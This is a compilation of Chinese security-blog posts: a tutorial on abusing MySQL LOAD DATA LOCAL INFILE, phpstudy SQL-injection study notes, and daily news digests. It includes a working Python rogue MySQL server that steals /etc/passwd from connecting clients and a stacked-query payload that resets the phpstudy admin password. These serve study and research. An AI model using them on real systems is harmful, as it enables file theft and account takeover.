两相对比,读取客户端上的文件内容多了一个 local 关键字。 以上所描述的过程可以形象地用两个人的对话来表示: 客户端:把我本地 /data/test.csv 的内容插入到 TestTable 表中去 服务端:请把你本地 /data/test.csv 的内容发送给我 客户端:好的,这是我本地 /data/test.cvs 的内容 服务端:成功/失败 正常情况下这个流程没有问题,但是前文提到了客户端在第二次并不知道它自己前面发送了什么给服务器,所以客户端第二次要发送什么文件完全取决于服务端,如果这个服务端不正常,就有可能发生如下对话: 客户端:请把我本地 /data/test.csv 的内容插入到 TestTable 表中去 服务器:请把你本地 /etc/passwd 的内容发送给我 客户端:好的,这是我本地 /etc/passwd 的内容 服务端:成功偷取文件内容 这样服务端就非法拿到了 /etc/passwd 的文件内容!接下来开始进行这个实验,做一个恶意服务端来欺骗客户端。为了编写出伪造恶意 MySQL 服务器的 POC,必须对 MySQL 协议有足够的了解,所以接下来尝试分析一下 MySQL 协议的数据包。 MySQL 协议数据包分析 为了非法读取客户端文件,我们需要实现一个假的 MySQL 服务器。那如何实现呢?这需要我们对 MySQL 协议展开详细的分析才能做到,好在借助 Wireshark 结合 MySQL 官方文档可以帮助我们轻松分析 MySQL 协议的数据包。 我以 ubuntu 虚拟机为客户端,windows物理机为服务端,借助 Wireshark 工具捕捉两者间的 mysql 通信数据包。 客户端ip:192.168.239.129 服务端ip:192.168.1.3 客户端和服务端之间交互的 MySQL命令如下 mysql -h 192.168.1.3 -P 3306 -u root -p use security; load data local infile "/etc/passwd" into table users; 开启物理机的 mysql,这里注意需要设置 mysql 允许外来连接,不知道如何操作看看这篇文章 https://blog.csdn.net/qq_18948359/article/details/1025005902.打开 wireshark,选择捕获 Vmware 相关的网卡并选择过滤 MySQL 协议,然后用虚拟机连接。 注意:不要使用 mysql 8.0.12 版本,否则相关的数据包显示不完整,甚至连接的用户名都显示不了,这个版本的加密可能更严格吧。 官方文档告诉我们 MySQL 协议也支持通过 TLS 进行加密和身份验证。https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_basic_tls.html 那我们捕获的数据包是否进行了加密呢?稍加分析一下这些捕获的数据包就可以判断其确实使用了 TLS 进行了加密。接下来我们根据文档结合 Wireshark 捕获的数据包来进行实践论证! 连接过程数据包 运行连接命令时捕获到的数据包 mysql -h 192.168.1.3 -P 3306 -u root -p 不打算全部都细说,就以前两个数据包为例子,和官方文档对照来学习其结构。 第一个数据包 Protocol::HandshakeV10 服务端到客户端 当客户端通过 MySQL 协议连接到 服务端会发生什么呢?官方文档 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_connection_phase_packets_protocol_handshake.html告诉我们当客户端连接到服务端时,服务端会发送一个初始的握手数据包(Initial Handshake Packet)给客户端。根据服务端的版本和配置选项,服务端会发送不同的初始数据包。 为了服务端可以支持新的协议,Initial Handshake Packet 初始的握手数据包的第一个字节被定义为协议的版本号。从 MySQL 3.21.0 版本开始,发送的是 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_connection_phase_packets_protocol_handshake_v10.html 我采用的 MySQL 版本是 5.7.26,所以发送的就是 Protocol::HandShakeV10 ,我们可以看看文档是如何定义这个数据包的结构的: 关于 Type 字段各个值的含义在 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_basic_dt_integers.html#a_protocol_type_int1 和 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_basic_dt_strings.html#sect_protocol_basic_dt_string_null int<1> 就是 一个字节,string<NUL> 表示以 00 字节结尾的字符串。 我们点开 Wireshark 中服务端给客户端发送的初始数据包,从 Server Greeting 字段开始就是 payload 部分,也就是初始的握手数据包。从图中我们可以看到有协议版本、服务端的 MySQL 版本、进程 ID。这和我们上图的文档是不是完美对应上了? Protocol::HandShakeV10 只定义了一个数据包的 payload 部分,而关于头部的定义在 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_basic_packets.html 和实际的数据包的对应: payload_length: sequence_id: payload: 值得注意的是 Wireshark 的数据是按照小端排列的,比如数据包长度 74 对应的字段数据是 4a 00 00。 其余的字段就不再分析了,大同小异。紧接着简单看看客户端给服务端的回应吧。官方文档告诉我们,如果客户端支持 SSL(https://dev.mysql.com/doc/dev/mysql-server/latest/group__group__cs__capabilities__flags.html & CLIENT_SSL is on and the https://dev.mysql.com/doc/dev/mysql-server/latest/mysql_8h.html#ae246c1906ffb10491c3876ce39bb1d7b of the client is not SSL_ 如果不支持,那么客户端会返回 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_connection_phase_packets_protocol_handshake_response.html 。同时在任何时候,发生任何错误,客户端都会断开连接。 第二个数据包 Protocol::HandshakeResponse41 客户端到服务端 根据前面的分析,这里客户端如果支持 SSL,那么会发送 Protocol::SSLRequest 数据包,否则就是Protocol::HandshakeResponse:。根据我的验证,应该发送的是 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_connection_phase_packets_protocol_handshake_response.html#sect_protocol_connection_phase_packets_protocol_handshake_response41 感觉挺奇怪的,我觉得应该发送 SSLRequest 才是,但是其包结构却又对应不上。 client_flag(4字节),包括了扩展的 Client capabilities max_packet_size(4字节) 0x01000000 = 16777216 character_set(1字节) filler(23字节) username(以 00 结尾的字符串) auth_response 文档中说这是一个条件选项,当前的数据包是满足这个条件的。 根据文档对这个字段的释义,其是一个不透明的验证响应。没想到在实际数据包中是一个密码,经过了某个哈希算法。我没有去求证 MySQL 采用什么哈希算法, 接下来就不继续分析,大同小异。 这个数据包的重点在于能够表明客户端是否支持 LOAD DATA LOCAL,这是我们可以读取客户端本地文件的根本。关于这个字段的定义在:https://dev.mysql.com/doc/dev/mysql-server/latest/group__group__cs__capabilities__flags.html#ga06acc4847890b7ef14a8e7c0782a679c 第三个数据包 Ok_Packet 服务端到客户端 这个数据包一看就是 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_basic_ok_packet.html 第四个数据包 COM_QUERY 客户端到服务端 这个数据包是 第五个数据包 Text Resultset 服务端到客户端 这个数据包是 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_com_query_response_text_resultset.html 选择 security 数据库捕获的数据包 当客户端向服务端发送 use security 命令选择数据库时捕获到的数据包。特别多,下图并没有截完整。这一步不重要 读取客户端文件捕获的数据包 在客户端上执行如下命令将 /etc/passwd 文件内容写入到 users 表时捕获到的数据包。 load data local infile "/etc/passwd" into table users; 一共就四个包,很明显第一个包是一个 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_com_query.html 这个图我不小心去读服务端的文件了,但是无伤大雅。数据包结构是一样的,而且下图我重抓啦~ 糟糕的是第三个数据包由于我的物理机拒绝了访问而导致这个数据包是一个错误响应数据包。 我在这里找到了解决方案 https://stackoverflow.com/questions/63361962/error-2068-hy000-load-data-local-infile-file-request-rejected-due-to-restrict连接的时候用 mysql --local-infile=1 -u root -p -h 192.168.1.3 重新抓一遍包!! 第一个数据包 客户端到服务端 COM_QUERY 第二个数据包 服务端到客户端 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_com_query_response_local_infile_request.html 这个数据包很重要,是构造恶意 MySQL 服务器的重点,我们需要根据这个数据包的结构书写 payload。具体地说,需要伪造的部分是 MySQL 数据包的首部和 payload 部分。还记得前面的 MySQL 数据包的结构图吗? 对照一下上图就会发现这个 MySQL 协议数据包的头部是 0c 00 00 01 对应的 payload(不是 wireshark 的那个 Payload) 是 fb 2f 65 74 63 2f 70 61 73 73 77 64 第三个数据包 客户端到服务端 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_com_query.html 上一个数据包服务端给客户端发送LOAL INFILE Request 的响应后,客户端发给服务端的这一个数据就包含了 /etc/passwd 文件的内容。 第四个数据包 服务端到客户端 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_basic_ok_packet.html 客户端经过两个请求,成功的将自己的 /etc/passwd 文件插入到表 users 中, 根据我们前面所说,客户端在发送完第一个请求之后并不会存储这个请求,而是直接丢弃。所以第二步是根据服务端的响应来进行,这里服务器就可以欺骗客户端做一些事情(改变第二个数据包的响应内容)。有了以上的铺垫,POC 的编写并不困难。只需要完成连接过程,然后修改第二个数据包的响应内容就好。 POC 我懒得完整编写 POC 了,所以从网上抄了一个。值得一提的是这个 POC 并不标准,在连接建立过程中发送的数据并没有包含数据包首部,而发送 payload 的时候又包含了首部。(同时从编写的代码来看好像编写者并没有对数据包的构成有一个准确的认识 hhh,当然也有可能是我错了) 客户端发送请求数据包 服务端发送 Mysql 的 Greet 与 banner 信息 客户端发送认证请求(用户名与密码) 这里面我们当然要保证无论输入什么密码都是可以的 获取到文件信息直接输出 #!/usr/bin/python #coding: utf8 import socket # linux : #filestring = "/etc/passwd" # windows: #filestring = "C:\Windows\system32\drivers\etc\hosts" HOST = "0.0.0.0" # open for eeeeveryone! ^_^ PORT = 3306 BUFFER_SIZE = 1024 #1 Greeting greeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52 #2 Accept all authentications authok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00" #3 Payload #数据包长度 payloadlen = "\x0c" #这里明显有问题啦,因为文档告诉我们数据包的长度是用三个字节表示的 padding = "\x00\x00" payload = payloadlen + padding +  "\x01\xfb\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" #这里又把序列号拼在了 数据包的 payload部分 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((HOST, PORT)) s.listen(1) while True:    conn, addr = s.accept()    print 'Connection from:', addr    conn.send(greeting)    while True:        data = conn.recv(BUFFER_SIZE)        print " ".join("%02x" % ord(i) for i in data)        conn.send(authok)        data = conn.recv(BUFFER_SIZE)        conn.send(payload)        print "[*] Payload send!"        data = conn.recv(BUFFER_SIZE)        if not data: break        print "Data received:", data        break    # Don't leave the connection open.    conn.close() 在服务器运行以上脚本,并在客户端连接 收到 /etc/passwd 文件内容 读取 /flag 如果想要读取 /flag 如何修改 payload 呢?这是一个很简单的问题,因为已知了这是一个 https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_com_query_response_local_infile_request.html 数据包,所以只需要构造一下数据包首部和 payload 部分即可(保持 POC 中其余字段不变)。 首部包括三个字节长的长度字段,一个字节长的序列号。 payload 部分是一个字节长的包类型 0xFB 和 xx 字节长的文件名 现在真正的数据部分是/flag,转换成十六进制为 2f666c6167,其拼接上一个字节的包类型 0xFB 就凑成了 payload 部分:fb 2f 66 6c 61 67 ,故首部中的长度字段值为 0x06。
网络安全日报 2023年04月06日
1、安全人员发现分发Opcjacker恶意软件的攻击活动 https://www.hackread.com/vpn-malvertising-opcjacker-crypto-stealer/ 趋势科技网络安全研究人员发现了一项针对伊朗用户并分发Opcjacker恶意软件的攻击活动。在新分析的样本中,恶意广告隐藏在一个真正的VPN应用程序中。恶意软件通过在已安装的程序中修补合法的DLL库来自动加载,该库最终运行包含另一个恶意应用程序的加载程序和运行程序的shellcode,由存储在WAV、CHM和其他格式文件中的数据块组装而成的。 2、攻击者利用自解压档案进行隐蔽的后门攻击 https://www.bleepingcomputer.com/news/security/winrar-sfx-archives-can-run-powershell-without-being-detected/ 攻击者正在向包含无害诱饵文件的WinRAR自解压存档添加恶意功能,从而允许他们在不触发受害者系统上的安全软件的情况下植入后门。研究人员声称恶意SFX文件不太可能被传统AV解决方案捕获。 3、黑客组织Arid Viper升级恶意软件 https://thehackernews.com/2023/04/arid-viper-hacking-group-using-upgraded.html 自2022 年 9 月以来,名为Arid Viper(又称APT-C-23 和沙漠猎鹰)的威胁行为体,在针对巴勒斯坦实体的攻击中使用其恶意软件工具包的更新变种。该组织自制了一系列恶意软件工具,例如ViperRat、FrozenCell和Micropsia,以在 Windows、Android 和 iOS 平台上执行和隐藏其活动。赛门铁克详述了最新攻击需要使用自制Micropsia和Arid Gopher植入程序的更新版本来破坏目标,进行 4、研究人员发现报税软件eFile.com存在恶意软件 https://www.bleepingcomputer.com/news/security/irs-authorized-efilecom-tax-return-software-caught-serving-js-malware/ eFile.com是IRS授权的电子文件软件服务提供商,许多人使用它提交纳税申报单。安全研究人员表示,该恶意JavaScript软件已在eFile.com网站上存在数周之久,至少在 4 月 1 日之前,eFile.com上几乎每个页面都在加载恶意J​​avaScript文件“popper.js”。但此次攻击是否成功感染了eFile.com 访问者和客户,仍有待 5、Elementor Pro 插件漏洞影响超过 1100 万个站点 https://cyware.com/news/exploited-elementor-pro-plugin-under-attack-affects-over-11-million-sites-7fa2b825 适用于 WordPress 的 Elementor Pro 网站构建器插件中的一个安全漏洞正被威胁行为者积极利用。经过身份验证的用户可以利用这一点来完全控制启用了 WooCommerce 的 WordPress 网站。 6、Google发布Chrome 112,修复了 16 个安全漏洞 https://www.securityweek.com/chrome-112-patches-16-security-flaws/ Chrome 112 于本周发布到稳定频道,其中包含 16 个安全修复程序 7、Nexx 智能设备漏洞可被利用来远程打开车库门,并控制警报和插头。 https://securityaffairs.com/144488/iot/nexx-smart-devices-flaws.html 2022 年底,研究人员 Sam Sabetan 在 Nexx 制造的几款智能设备中发现了一系列严重漏洞,包括智能车库门开启器、警报器和插头。远程攻击者可以利用这些漏洞打开和关闭车库门、控制警报以及为任何客户打开和关闭智能插头。 8、FBI查封了 Genesis Market 网络黑市 https://securityaffairs.com/144449/cyber-crime/fbi-seized-genesis-market.html 作为 Cookie Monster 行动的一部分,FBI查封了 Genesis Market 黑市,这是一个专注于出售被盗凭证的平台。 9、新勒索软件Rorschach具备最快的文件加密器 https://www.bleepingcomputer.com/news/security/new-rorschach-ransomware-is-the-fastest-encryptor-seen-so-far/ 在一家美国公司遭到网络攻击后,研究人员发现了一种新型勒索软件,他们将其命名为Rorschach。研究人员测试了Rorschach的加密速度,并认为其为当今最快的勒索软件。Rorschach遵循间歇加密趋势,即只对文件进行部分加密,从而提高处理速度。当前,尚未有组织声称对Rorschach勒索软件负责,也没有品牌,这在勒索软件领域很少见。 10、惠普宣布将在90天内修补企业级打印机固件漏洞 https://www.bleepingcomputer.com/news/security/hp-to-patch-critical-bug-in-laserjet-printers-within-90-days/ 惠普在本周安全公告中宣布,将在90天内修复影响企业级打印机固件的严重漏洞。该漏洞编号为CVE-2023-1707,其CVSS v3.1标准计算出的严重性得分为 9.1(满分 10),并指出利用该漏洞可能允许攻击者访问易受攻击的HP打印机与网络上其他设备之间传输的敏感信息。惠普表示,目前没有可用的修复程序。对于运行 FutureSmart 5.6 的客户,建议的缓解措施是将其固件 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
小皮1-click漏洞的代码审计学习笔记
漏洞简介 漏洞起源于前段时间比较火的小皮 1-click 漏洞,用户名登录处缺少过滤,导致可以直接构造恶意 payload 实现存储型 XSS ,结合小皮本身所具有的计划任务,XSS + CSRF 实现了 RCE 。 因为用户名登录处缺少过滤,所以可以尝试 SQL 漏洞。 环境搭建 windows 上实际操作了一下,不方便进行分析 于是利用 linux 来进行复现分析,利用官网提供的方法执行,之后再回滚修改代码 wget -O install.sh https://download.xp.cn/install.sh && sudo bash install.sh 修改代码 web/service/app/account.php 中登录的部分 if($type=='login'){ $username = post('username'); $pwd = post('password'); $verifycode = post('verifycode'); $res = Account::login($username,$pwd,$verifycode); xpexit(json_encode($res)); }    打开代码 /usr/local/phpstudy/web/service/app/account.php 修改代码    漏洞复现 windows 在用户登录处构造 payload 其中 PASSWORD 的值是经过五次 md5 加密后的结果 import hashlib str = "123456" for i in range(0,5):    str = hashlib.md5(str.encode()).hexdigest() print(str)   ‍ admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--    虽然提示用户名密码错误,但是密码已经被更新,再次利用 admin/123456 成功登录   ‍ Linux 在用户登录处构造 payload admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--    错误类型并不相同,但也成功的将密码修改 漏洞分析 查看开放端口信息 ,发现有两个端口与 phpstudy 的进程相关 9080、8090 9080 对应的是 web 端的信息 8090 对应的是二进制程序    外部访问不到 8090 端口 只能再内部构造数据进行通信    项目的代码在 /usr/local/phpstudy/web web/service/app/account.php    web/service/app/model/Account.php    通过 POST 获取到的数据,利用 Socket 将数据发送到 8090 进行处理    我们可以根据代码逻辑伪造 socket 请求 {"command":"login","data":{"username":"admin","pwd":"123456"}}^^^    利用 strace 可以监控进程 strace -s4096 -tt -f -ewrite -p 49433 监控 phpstudy 的进程,发送错误的payload {"command":"login","data":{"username":"admin'","pwd":"123456"}}^^^    获取到登录时对应的 SQL 语句 SELECT ID FROM ADMINS WHERE ALIAS = 'admin'' AND PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' AND STATUS = 0 根据 SQL 语句可以构造恶意语句,构造恶意语句,执行错误的 SQL 语句后,程序会发生崩溃,所以无法利用万能密码登录。 这里我们可以思考利用堆叠注入,执行多个 SQL 语句,修改 admin 用户密码。我们构造这样的用户名 admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';-- 拼接到 SQL 语句中就为 SELECT ID FROM ADMINS WHERE ALIAS = 'admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--' AND PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' AND STATUS = 0 最终执行的 SQL 语句为 SELECT ID FROM ADMINS WHERE ALIAS = 'admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin'; 将用户 admin 的 密码修改为了 123456 再次登录时就可以使用 admin/123456 成功登录,再结合之前的 1-click RCE 中利用 phpstudy 后台计划任务执行,最终实现未授权 RCE 。 第一次登录时 使用 admin/123456 登录失败,提示用户名或者密码错误    输入构造的 payload        再次利用 admin/123456 登录成功,用户的密码已经被修改
网络安全日报 2023年04月04日
1、IT公司NTC Vulkan可能为APT组织开发攻击性工具 https://securityaffairs.com/144340/apt/ntc-vulkan-sandworm-cyberwarfare-arsenal.html Mandiant公司发布报告称,对2016年至2020年间属于NTC Vulkan的文件进行了重点研究,发现NTC Vulkan公司可能被要求开发用于执行各种类型的攻击性工具,包括网络间谍、IO 和操作技术 (OT) 攻击、以及红队平台。并在报告中公开了Scan、Amesit 和 Krystal-2B三个项目的详细信息。 2、Western Digital因安全漏洞遭网络攻击导致My Cloud服务中断 https://www.bleepingcomputer.com/news/security/western-digital-discloses-network-breach-my-cloud-service-down/ Western Digital 网络遭到攻击,攻击者获得了多个公司系统的访问权限。 My Cloud的多个用户反馈他们无法访问云托管媒体存储库,会显示“503 服务暂时不可用”错误。Western Digital称已经实施了额外的安全措施来保护其系统和运营。但这些措施可能会影响某些 Western Digital 服务的正常运行。 3、3CX公司称在VirusTotal测试后判定供应链攻击为误报 https://www.theregister.com/2023/04/03/3cx_false_positive_supply_chain_attack/ VoiP软件提供商3CX的首席执行官表示,他的团队测试了其产品以响应最近收到其供应链遭受攻击的警报,但评估的恶意软件感染报告是误报,几天后我团队再次评估,得到了同样的结果。因此3CX公司认为“SentinelOne 警报是误报。这对于 VoIP 应用程序来说并不罕见。”同时,该公司表示,会自动将客户订阅免费延长三个月。 4、 网信办:对美光公司在华销售产品启动网络安全审查 http://www.techweb.com.cn/internet/2023-04-01/2923905.shtml 3月31日晚间,网信办官网发布关于对美光公司在华销售产品启动网络安全审查的公告,理由为保障关键信息基础设施供应链安全,防范产品问题隐患造成网络安全风险,维护国家安全。 5、Microsoft OneNote 将阻止 120 个危险的文件扩展名 https://www.bleepingcomputer.com/news/security/microsoft-onenote-will-block-120-dangerous-file-extensions/ 微软已经分享更多关于 OneNote 将阻止哪些恶意嵌入式文件的信息,以保护用户免受持续的网络钓鱼攻击推送恶意软件。当文件被阻止时,用户将看到一个警告对话框,内容为“您的管理员已阻止您在 OneNote 中打开此文件类型。” 6、研究人员发现新勒索软件Money Message https://www.bleepingcomputer.com/news/security/new-money-message-ransomware-demands-million-dollar-ransoms/ 2023年3月28日一位受害者在BleepingComputer论坛上首次报告了这种新的勒索软件,当前该威胁行为体已经在勒索网站上列出了2名受害者,其一是一家年收入接近10亿美元的亚洲航空公司,威胁行为体称从该公司窃取了文件,并附上被访问文件系统的屏幕截图作为证明。分析人员对Money Message加密方法进行了分析,加密器并不复杂,但目前还未发现其所利用的漏洞。 7、英国外包服务提供商Capita遭遇网络攻击事件 https://securityaffairs.com/144398/hacking/capita-suffered-cyber-incident.html 英国外包服务提供商 Capita 证实,周五的中断是由网络攻击造成的。 8、APT组织Winter Vivern以北约和外交官的电子邮件门户为目标 https://www.anquanke.com/post/id/288085 名为 Winter Vivern(又名 TA473)的黑客组织一直在积极利用 Zimbra 实例中未修补的漏洞 ( CVE-2022-27926 ) ,以访问北约官员、政府、军事人员和外交官的电子邮件。 9、美国修订法律:医疗器械上市需自证网络安全,否则不予通过 https://www.secrss.com/articles/53311 美国卫生与公众服务部(HHS)下辖食品药品监督管理局(FDA)日前发布最终指导文件,为网络设备制定了新的网络安全要求,其中包括网络设备在上市前的申报材料中必须提交的信息。文件还要求医疗保健相关方应将软件物料清单(SBOM)和漏洞披露报告纳入基础设施网络安全规定。 10、多个勒索软件组织利用未更新的IBM文件传输软件漏洞 https://www.freebuf.com/news/362413.html IBM Aspera Faspex 是一个被企业广泛采用的文件传输应用程序,以能够安全和快速传输大型文件而广受青睐。安全专家警告说,IBM 于2022年12月8日在软件中修补的一个漏洞(可用于回避身份验证和远程利用代码)正在被多组使用加密恶意软件的攻击者滥用。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年04月03日
1、TA473利用Zimbra漏洞攻击欧洲政府Webmail门户网站 https://www.proofpoint.com/us/blog/threat-insight/exploitation-dish-best-served-cold-winter-vivern-uses-known-zimbra-vulnerability# TA473是一个新的APT组织,利用未修复的Zimbra漏洞攻击欧洲政府、军队和外交机构的Webmail门户网站,窃取其邮件。该组织通过扫描和识别目标组织的未修复漏洞,并发送钓鱼邮件来攻击目标。Proofpoint研究人员建议修补所有使用Zimbra Collaboration的公开Webmail门户网站,并限制公开Webmail门 2、Azure的错误配置导致Bing搜索结果可能被恶意修改 https://www.theregister.com/2023/03/30/wiz_bing_takeover/ Wiz研究人员发现了微软自己在Azure Active Directory (AAD)上的授权错误,可能使恶意分子能够篡改微软的Bing搜索引擎,甚至窃取和监视用户的Outlook电子邮件、日历和Teams消息。这个错误被称为BingBang。Wiz团队向微软报告了这些问题,并获得了40000美元的漏洞赏金。 3、研究称OneNote文档成为恶意软件传播新趋势 https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rising-trend-of-onenote-documents-for-malware-delivery/ 最近,McAfee Labs观察到一种新的恶意软件攻击活动,利用恶意OneNote文档诱使用户点击嵌入的文件并下载并执行Qakbot木马。由于OneNote应用程序允许用户附加文件,因此它们成为部署恶意软件的良好载体,成为LNK文件的替代品。McAfee Labs还观察到多个恶意软件家族通过OneNote文档进行传播。 4、CISA KEV漏洞可能影响超1500万个面向公众的服务 https://www.bleepingcomputer.com/news/security/15-million-public-facing-services-vulnerable-to-cisa-kev-flaws/ Rezilion公司使用Shodan网络扫描服务来查找易受CISA已知可利用漏洞目录中的CVE攻击的端点。从目录中发现了1500万个易受 200个CVE攻击的实例。其中超过一半容易受到与 Microsoft Windows 有关的137个CVE之一的攻击,并且超800000台机器在很长一段时间内(5年以上)未进行安全更新。而这些漏洞正被广泛利用。报告中强调的一些值得注意的 5、意大利因隐私问题暂时禁止ChatGPT https://www.securityweek.com/italy-temporarily-blocks-chatgpt-over-privacy-concerns/ 意大利在数据泄露事件后决定暂时阻止了人工智能软件 ChatGPT,并正在调查其可能违反欧盟数据保护规则的行为。意大利监管机构表示,OpenAI 必须在20天内报告其采取了哪些措施来确保用户数据的隐私,否则将可能面临高额罚款,这是对主流 AI 平台的首次国家级限制。 6、研究人员发现针对Linux和Windows设备的Cylance勒索软件 https://www.hackread.com/cylance-ransomware-linux-windows/ 研究人员发现了一种新的针对的是 Linux 和 Windows 设备 Cylance 勒索软件,该恶意软件加密文件后将为它们附加“.Cylance”扩展名。但不要将 Cylance 勒索软件与黑莓旗下的 Cylance 网络安全公司混淆,该公司以减轻和防止对企业组织的勒索软件攻击而闻名。目前为止,对该勒索软件的信息仍有待深入研究。 7、LockBit 公开了从韩国国家税务局窃取的数据 https://securityaffairs.com/144342/cyber-crime/lockbit-south-korean-national-tax-service.html LockBit 勒索软件团伙宣布公布从韩国国家税务局窃取的数据。 8、研究人员披露Elementor Pro WordPress插件漏洞利用细节 https://www.bleepingcomputer.com/news/security/hackers-exploit-bug-in-elementor-pro-wordpress-plugin-with-11m-installs/ Elementor Pro是一个 WordPress 页面构建器插件,允许用户在不知道如何编码的情况下轻松构建具有专业外观的网站。研究人员NinTechNet分享了有关插件WooCommerce模块上的访问控制被破坏的漏洞,该漏洞被利用后将允许任何人在未经适当验证的情况下修改数据库中的WordPress选项。该漏洞影响v3.11.6及其之前的所有版本。 9、僵尸网络利用Realtek和Cacti漏洞传播恶意软件 https://www.bleepingcomputer.com/news/security/realtek-and-cacti-flaws-now-actively-exploited-by-malware-botnets/ 在 2023 年 1 月至 2023 年 3 月期间,多个僵尸网络利用Cacti和 Realtek漏洞,传播ShellBot和 Moobot等恶意软件。目前无法确定是否是同一个威胁行为体在传播Moobot 和 ShellBot,但有发现不同攻击载荷在多起攻击中利用了相同的漏洞。 10、研究人员发现多个AlienFox恶意软件升级版本 https://www.bleepingcomputer.com/news/security/new-alienfox-toolkit-steals-credentials-for-18-cloud-services/ AlienFox是一个模块化工具包,其允许威胁行为体扫描配置错误的服务器,以窃取基于云的电子邮件服务的身份验证机密和凭据。例如 API 密钥、帐户凭据和身份验证令牌等。该工具包还包括单独的脚本,用于在易受攻击的服务器上建立持久性和提升权限。研究人员持续发现该恶意软件多个升级版本,为了防止这种不断演变的威胁,建议服务器设置适当的访问控制、文件权限,并删除不必要的服务。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年03月31日
1、NullMixer 多态恶意软件变种在短短一个月内感染 8K 目标 https://www.darkreading.com/attacks-breaches/nullmixer-polymorphic-malware-variant-8k-targets-month NullMixer加载程序已经破坏了美国,法国和意大利的数千个端点,窃取数据并将其出售给暗网数据经销商,所有这些都没有引起警钟 2、印度制药公司遭网络攻击,ALPHV勒索软件声称对此负责 https://thecyberexpress.com/sun-pharma-cyber-attack/ 印度最著名的制药公司之一Sun Pharmaceutical Industries Ltd.遭受了重大数据泄露。该公司证实,IT系统在Sun Pharma网络攻击中受到影响。 3、开源木马Creal通过钓鱼站点攻击加密货币用户 https://blog.cyble.com/2023/03/29/creal-new-stealer-targeting-cryptocurrency-users-via-phishing-sites/ 最近,网络安全研究机构Cyble Research and Intelligence Labs发现了一个仿冒加密货币挖矿平台的钓鱼站点,该站点传播 Creal 开源木马。该木马是用 Python 编写的,其源代码和构建器也在 GitHub 上公开。研究人员发现了近50个样本,表明黑客正在积极利用这个开源代码来感染不知情的用户。 4、MacStealer恶意软件从苹果用户那里获取大量数据 https://www.darkreading.com/attacks-breaches/macstealer-malware-plucks-bushels-data-apple-users 一种针对macOS用户的新型网络威胁在暗网上以每100美元的价格出售,活动正在增加。 5、Microsoft Azure SFX 中的 Super FabriXss 漏洞可能导致 RCE https://securityaffairs.com/144251/hacking/azure-service-fabric-explorer-super-fabrixss.html Azure Service Fabric Explorer (SFX)存在漏洞(CVE-2023-23383),可能导致未经身份验证的远程代码执行。攻击者可以利用该漏洞在Service Fabric节点上托管的容器上实现远程代码执行。此漏洞只存在于Windows Cluster中,但可用于大规模的代码执行攻击。Microsoft已通过发布2023年3月补丁更新解决了这个问题。 6、新的AlienFox工具包可收集数十种云服务的凭据 SentinelLabs报道称,AlienFox是一款新的模块化工具包,允许威胁行为者收集多个云服务提供商的凭据。AlienFox可以从流行服务中收集API密钥和密码,包括AWS SES和Microsoft Office 365等。它还能够攻击运行流行Web框架(如Laravel、Drupal、Joomla、Magento、Opencart和WordPress)的配置错误服务器,并通过安全扫描平台(如LeakIX和SecurityTrails)收集配置不当的云端点列表。最新版本还包括自动化加密货币钱包种子脚本“Wallet Cracker”。 7、研究人员称AI 聊天机器人使发现网络钓鱼邮件变得更加困难 https://www.theguardian.com/technology/2023/mar/29/ai-chatbots-making-it-harder-to-spot-phishing-emails-say-experts 